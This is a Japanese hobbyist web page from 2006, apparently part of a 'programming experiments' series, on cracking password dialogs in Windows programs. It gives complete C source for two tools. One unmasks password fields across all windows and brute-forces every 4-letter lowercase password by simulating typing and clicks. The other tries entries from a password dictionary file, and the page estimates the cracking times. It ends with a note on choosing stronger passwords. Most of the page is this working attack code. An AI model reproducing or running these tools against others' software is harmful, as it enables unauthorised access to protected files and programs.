○Windowsのパスワード破りは可能か


プログラム+ソース VisualBasic 6.0
VisualBasic 6.0で適当にテキストボックスとボタンを貼り付けて
テキストボックスのPasswordCharに*を設定して
ボタンをクリックして下の文を加えました

Private Sub Command1_Click()
    If Text1.Text = "abcd" Then MsgBox "パスワード解除 OK"
End Sub


■よくこのような感じのパスワードダイアログもしくは
パスワード入力ウィンドウってありますよね

この手のウィンドウの****で表示された部分の設定を変更してパスワードを見る
のは前回やりましたが、****にパスワードが入っていない場合、
もしくは表示されない場合において
パスワード破りが可能かを調べたいと思います

■では実際に方法を考えてみます

ダイヤルの付いた鍵の番号を忘れた時にありとあらゆる番号を
試してみた経験が誰しもあると思います

鍵と同じように、ありとあらゆる文字を入力して試してみて
パスワードを解除してみたいと思います

■しかし。
実際に手で入力して、確認してゆくと凄い大変な事になります

文字数4文字で小文字のみのパスワードだとしても

アルファベットは26文字ありますから、

26*26*26*26=456976

456976パターン試せば必ず開くはずです
でも、個人的にそんな面倒なことしたくないです

■そこで
プログラムで自動的に入力できないのか試して見たいと思います
WindowsAPIを眺めてみると

▼文字を入力する
SendMessage(HWND,WM_SETTEXT,0,(LPARAM)"str");

▼マウスの位置を移動する
SetCursorPos(x,y);

▼マウスの左ボタンを押す
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);

▼マウスの左ボタンを離す
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

これらを駆使すれば、456976パターン試すことが出来そうです

■準備
ターゲットのボタンとテキストボックスの座標を調べる

実際にパスワードダイアログを動かして、ボタンとテキストボックスの座標を調べる
プログラムを書きます

#include <stdio.h>
#include <windows.h>

int main(){
	while(1){
		POINT pt;
		//マウスの現在の座標を取得する
		GetCursorPos(&pt);
		printf("x=%d y=%d\n",pt.x ,pt.y);
	}
	return 0;
}

プログラム+ソース VisualC++ 6.0
上記プログラムを実行させて
マウスをボタンとテキストボックスに持っていって表示されている座標をメモしました

テキストボックス
x=873
y=84

ボタン
x=940
y=134


■コントロール方法について考える

@まず最初に、テキストボックスはパスワード表示になっているため
それを解除する

Aパスワード文字列を生成する

Bパスワードボックスにパスワード文字列を入れる

Cボタンを押す

Dプログラムを続行させるか中断させるか判断する
マウスが使えなくなるため、ソフトの動作が止められなくなるのを防ぐため

E Aに戻る

■実際にソフトを書いてみます

#include <windows.h>

const int TEXT_x=873;//テキストボックスの座標
const int TEXT_y=84;
const int BUTTON_x=940;//ボタンの座標
const int BUTTON_y=134;
const unsigned char START_char=0x61;//aの文字コード
const unsigned char END_char=0x7B;//zの文字コード+1

int main(){
	//ウィンドウのすべてのパスワード表示を解除させる
	unsigned long i;
	for(i=0;i<(unsigned short)-1;i++){
		//▽パスワードプロパティの解除
		PostMessage((HWND)i, EM_SETPASSWORDCHAR, (WPARAM)0,(LPARAM)0);
		//▽各ウィンドウの再描画要求
		InvalidateRect((HWND)i, NULL, FALSE);
	}

	//4桁の文字列を生成
	unsigned char str[5]="";
	for(str[0]=START_char;str[0]<END_char;str[0]++){
		for(str[1]=START_char;str[1]<END_char;str[1]++){
			for(str[2]=START_char;str[2]<END_char;str[2]++){
				for(str[3]=START_char;str[3]<END_char;str[3]++){
					//テキストボックスに文字を入力
					POINT pt;
					pt.x = TEXT_x;
					pt.y = TEXT_y;
					HWND hWnd = WindowFromPoint(pt);
					SendMessage(hWnd,WM_SETTEXT,0,(LPARAM)str);

					//マウスの位置をボタンに移動する
					SetCursorPos(BUTTON_x,BUTTON_y);
					//マウスの左ボタンを押す
					mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
					//マウスの左ボタンを離す
					mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);

					//マウスを少しでも動かすとプログラムを終了させる
					Sleep(1);
					POINT pt_pos;
					GetCursorPos(&pt_pos);
					if(pt_pos.x-BUTTON_x) return 0;
				}
			}
		}
	}
	return 0;
}

プログラム+ソース VisualC++ 6.0

■上記プログラムを実行させて、ありとあらゆる文字を入力して試して
パスワードを解除してみます

Pentium4 1.7Gのパソコンを使い約10秒ほどで解除できました



aから始まり、4文字で小文字のみのパスワードのためこんなに短時間で解除できました

▼aaaaからzzzzまでにかかる最大の時間を計算すると

一つの文字の入力からボタンを押すまでの動作がを計測してみると
約10msで完了することが判りました

26*26*26*26=456976

4569760	ms
4570 	秒
76 	分

意外に早く解除できそうですねえ

▼もっと長いパスワードだった場合
大文字、小文字、記号、数字を含めた文字数は94文字
8文字の文字列長の場合の考えられるパターンは

94*94*94*94*94*94*94*94=6095689385410820 

60956893854108200	ms
60956893854108	秒
1015948230902	分
16932470515	時間
705519605		日

途方も無い時間がかかりますね




■パスワード辞書からパスワードを推測する


人間はパスワードを考える際、皆同じようなものを考えるらしいです
そのような思いつきやすいパスワードがパスワード辞書としてインターネット上で出回っています
そんな辞書ファイルを使用して解除したいと思います
もちろん辞書ですからパスワード文字数の制限はありません


▼上で作成したプログラムの使いにくい点も修正して作成したいと思います
修正箇所として、

@表示される座標の問題から、コンソールアプリケーションをやめて実行中に画面表示されないように変更
Aプログラム終了の合図をマウスの移動から、CTRLキーを押した時に変更
Bプログラムを関数化しターゲットが変わった場合でも修正が最小限で済むようにする
C入力したパスワードが違っていた場合にメッセージボックスを出すターゲット、
 もしくは反応が遅いターゲットに対応するため、
 指定した座標に特定のボタンの文字列が現れるまで待機する関数を用意し、タイミングを取りやすくする


以上4つの項目を修正しつつ作成します



▼今回のターゲットの座標
ターゲットを実行して画面の左上に固定しました
そのときの座標は、



テキストボックス X=100 Y=88
OKボタン          X=236 Y=132

上のターゲットに対するプログラムを作成します

▼実際のプログラム
上のプログラムのパスワード文字列を作ってる部分を変更して、ファイルから一行ずつ文字列を取得
するように修正します。
ちなみに PWDIC.txt はパスワード辞書のファイル名です
パスワード文字数は255文字まで対応します

#include <stdio.h>
#include <windows.h>

void exitCheck();
void setStr(int x,int y,char*str);
void checkStr(int x,int y,char*str);
void pushButton(int x,int y);

#define FILE_NAME	"./PWDIC.txt"

//CTRLキーが押された場合プログラムを終了する
void exitCheck(){
	if(GetAsyncKeyState (VK_CONTROL)){
		//CTRLキーが押されている
		exit(0);
	}
	Sleep(0);
}

//指定された座標にテキストを入力する
void setStr(int x,int y,char*str){
	POINT pt;
	pt.x = x;
	pt.y = y;
	HWND hWnd = WindowFromPoint(pt);
	SendMessage(hWnd,WM_SETTEXT,0,(LPARAM)str);
}

//ターゲットとの同期を取るために指定された座標のコントロールが特定のテキストになるまで待機する
void checkStr(int x,int y,char*str){
	POINT pt;
	char buff[1024];
	pt.x = x;
	pt.y = y;
	do{
		exitCheck();
		HWND hWnd = WindowFromPoint(pt);
		GetWindowText(hWnd,buff,1024);
	}while(!strstr(buff,str));
}

//指定された座標のボタンを押す
void pushButton(int x,int y){
	//マウスの位置をボタンに移動する
	SetCursorPos(x,y);
	//マウスの左ボタンを押す
	mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
	//マウスの左ボタンを離す
	mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
}

int WINAPI WinMain(HINSTANCE hCurInst,HINSTANCE hPrevInst,
					LPSTR lpsCmdLine,int nCmdShow ){

	//ウィンドウのすべてのパスワード表示を解除させる
	unsigned long i;
	for(i=0;i<(unsigned short)-1;i++){
		//▽パスワードプロパティの解除
		PostMessage((HWND)i, EM_SETPASSWORDCHAR, (WPARAM)0,(LPARAM)0);
		//▽各ウィンドウの再描画要求
		InvalidateRect((HWND)i, NULL, FALSE);
	}


	FILE * fp;
	if((fp=fopen(FILE_NAME,"r"))==NULL){
		MessageBox(NULL,"辞書ファイルが見つかりません","",0);
		//エラー処理
	}else{
		char str[256]="";
		MessageBox(NULL,"CTRLキーを押すとプログラムは終了します\nOKを押すと処理を開始します","",0);
		while(fgets(str,256,fp)!=NULL){
			str[strlen(str)-1]='\0';//改行文字を削除する
			//strにパスワードが格納されている

			//ここの部分を変更してターゲットに合わせる
			//checkStr関数を使うとターゲットとの同期がとれる
			setStr(100,88,str);//指定の座標にパスワードを入力する
			checkStr(236,132,"OK");//指定の座標にボタンの"OK"の文字列が現れるまで待機
			pushButton(236,132);//指定の座標の"OK"ボタンを押す

			exitCheck();//CTRLキーが押されたらプログラムを終了する
		}
		fclose(fp);
	}
	return 0;
}

プログラム+ソース VisualC++ 6.0



■現実の問題として・・・・

パスワード入力のあるプログラムでは、
入力したパスワードが違った場合にメッセージボックスが出る場合が多いですよね、
その場合の一つのパスワードを試してメッセージボックスのOKボタンを押して消えるまでの時間を
測定してみる必要があります。

実際に測定した結果、Safe Meltで作成したファイルの場合、
一つのパスワードを試す時間は300msほどかかりました。
(PentiumM 1.5G のノートパソコンで測定)

上記プログラムで使用している辞書ファイルが約 870000行ありまので、
ファイルを全て試すのに掛かる時間を計算してみたいと思います。


870000行*300ms/1000=261000秒

261000秒/60=4350分
4350分/60=72.5時間

PentiumM 1.5Gのパソコンで、72.5時間以内に、辞書にあるパスワードなら解除できる事を意味しています



▼感想

辞書ファイルをエディタで開いて、自分が色々な所で使用しているパスワードを
検索してみると、かなりの確率で見つかります。

72.5時間とは、かなり衝撃的な時間ですよね。
最新のパソコンはもっと処理速度が速いですから・・・・

パスワードを作る時にはこれからはもっと気をつけないと。・



20061127	更新


▲トップページ > プログラミングの実験